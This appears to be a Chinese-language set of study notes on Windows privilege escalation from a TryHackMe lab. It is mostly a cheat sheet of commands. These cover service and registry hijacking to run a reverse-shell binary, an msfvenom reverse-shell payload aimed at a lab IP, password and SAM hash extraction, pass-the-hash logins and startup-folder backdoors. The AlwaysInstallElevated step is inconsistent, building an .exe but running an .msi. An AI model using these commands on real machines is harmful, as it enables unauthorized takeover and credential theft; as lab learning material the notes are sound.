Windows 基本提權術

Before all

感謝Tib3rius大大在TryHackMe上面的機器:

https://tryhackme.com/r/room/windows10privesc

這兩篇之後要好好研究:
https://www.51cto.com/article/521122.html
https://www.anquanke.com/post/id/84855

Service Exploits

Insecure Service Permissions

CMD 列出所有service:

1
sc query type= all state= all |findstr /i service_name.* |more

需要用到的工具:http://live.sysinternals.com/accesschk.exe

使用者名稱:user
檢查使用者對所有服務的權限:

1
accesschk.exe /accepteula -uwcqv user *

特定服務:

1
accesschk.exe /accepteula -uwcqv user daclsvc

結果(範例):

1
2
3
4
5
6
7
8
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL

檢查詳細資訊:

1
sc qc daclsvc

抽換service的binary path:

1
sc config daclsvc binpath= "C:\Users\user\reverse.exe"

開啟服務:

1
net start daclsvc

Unquoted Service Path

尋找 Unquoted services:

1
cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

假設今天有個檔案叫做 C:\Program Files\Whale Service\Sweet Whale.exe
並且他是一個service(就叫他whale_whaleㄅ)
那因為這是Unquoted Path,所以可以建立C:\Program.exe, C:\Program Files\Whale.exe, C:\Program Files\Whale Service\Sweet.exe 這幾種名稱的檔案,使windows在啟動whale_whale的時候會跟著跑這些檔案。
利用accesschk.exe確認權限的方法:

1
accesschk.exe /accepteula -uwdq C:\Program Files\Whale Service\Sweet Whale.exe\"

假設有W(Write)的權限,就代表使用者可以變更這個path底下的東西啦~

Weak Registry Permissions

利用accesschk找尋帶弱點的檔案:

1
accesschk.exe /accepteula -kvuqsw "NT AUTHORITY\INTERACTIVE" HKLM\System\CurrentControlSet\Services

使用者名稱可以自由更換

更改ImagePath:

1
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Insecure Service Executables

利用accesschk.exe確認使用者對檔案的權限:

1
accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

如果有FILE_ALL_ACCESS或其他可以寫入檔案的跡象就可以開心copy過去啦~

Registry Exploits

AutoRuns

AutoRuns就是管理程序被登入時會觸發的程式
可以利用底下的command確認檔案位置:

1
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

最後,一樣使用accesschk確認檔案權限:

1
accesschk.exe /accepteula -quvw "C:\Program Files\Autorun Program\program.exe"

如果使用者身分可寫的話就沒問題啦

AlwaysInstallElevated

AlwaysInstallElevated可以允許使用者以系統的身分建立Microsoft安裝檔,也就是msi file。
以如下兩個指令確認是否具有該權限:

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

利用msfvenom生成msi後門:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.195.189 LPORT=9090 -f exe -o reverse.exe

最後,在受害機器上以msiexec執行該後門檔案:

1
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Password

Registry

從Registry找密碼相關的東西:

1
reg query HKLM /f password /t REG_SZ /s

快速版:

1
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

利用psexec.py(Impacket有)進行密碼登入

1
python3 psexec.py admin:'password123'@10.10.186.113 cmd.exe

他也支援hash登入,方法如下:

1
psexec.py -hashes :217e50203a5aba59cefa863c724bf61b user1@172.16.50.42 cmd.exe

Saved Creds

有時候,機器上會有存取好的crenditial,這時候可以利用cmdkey /list指令查看。
如果有找到儲存的credits,就可以利用runas指令彈rev shell回來:

1
runas /savecred /user:admin C:\PrivEsc\reverse.exe

SAM

SAM就是Security Account Manager 的縮寫,記錄了密碼的HASH。
可以以以下指令尋找SAM檔案(記得cd去根目錄/):

1
dir /s /b | findstr /i "\\SAM$"

此外,SAM檔案需要配合SYSTEM檔案做讀取。
可以本地建立FTP(SYSTEM檔案可能傳輸損毀),或者建立自己的SERVER之類的把檔案丟回來。

Others

Insecure GUI APP

點開properties/屬性後會有這樣的一段內容:

image

點開app後也可以像這樣的指令確認權限:

1
tasklist /V | findstr mspaint.exe

(mspaint.exe是這邊的範例)
最後,在導覽列輸入file://c:/windows/system32/cmd.exe直接按下enter就可以跳出一個admin cmd啦~
image

Startup Apps

startup apps在登入時會啟動,如果可以被寫入的話可以插入自訂一的lnk檔案連去你的後門程式。

accesschk.exe:

1
accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

建立的vbscript:

1
2
3
4
5
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

最後以cscript <path of vbs file>指令啟動他就好。

Impersonations

Potato 家族

1
2
If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 — Try Juicy Potato

詳情可以參考這篇文章:https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all

打之前要用 whoami /priv 確認權限

Rouge Potato/Juicy Potato/Print Spoofer:
必須有以下兩種權限至少一個

1
2
SeImpersonatePrivilege
SeAssignPrimaryTokenPrivilege

PsExec

除了nt system也可以試著提成別的身分:
https://hackmd.io/@veryP/rkFeN_8Vh